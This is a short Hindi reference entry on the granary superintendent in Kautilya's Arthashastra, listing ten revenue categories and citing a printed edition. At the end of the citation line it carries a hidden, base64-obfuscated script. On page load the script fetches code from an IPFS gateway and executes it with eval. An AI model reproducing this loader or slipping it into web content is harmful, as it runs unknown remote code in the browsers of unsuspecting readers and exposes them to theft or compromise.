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कोठार के अध्यक्ष को कोष्ठागारध्यक्ष कहते हैं। कौटिल्य के अनुसार कोष्ठागारध्यक्ष को चाहिए कि वह निम्न दस बातों के सम्बंध में अच्छी जानकारी प्राप्त करे।

  1. सीता कर
  2. राष्ट्र कर
  3. सिंहनिका कर
  4. क्रयिक
  5. परिवर्त्तक
  6. प्रामित्यक
  7. आपमित्यक
  8. अन्यजात
  9. व्ययप्रत्यात
  10. उपस्थान



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टीका टिप्पणी और संदर्भ


कौटिलीय अर्थशास्त्रम् |लेखक: वाचस्पति गैरोला |प्रकाशक: चौखम्बा विधाभवन, चौक (बैंक ऑफ़ बड़ौदा भवन के पीछे , वाराणसी 221001, उत्तर प्रदेश |संकलन: भारत डिस्कवरी पुस्तकालय |पृष्ठ संख्या: 157 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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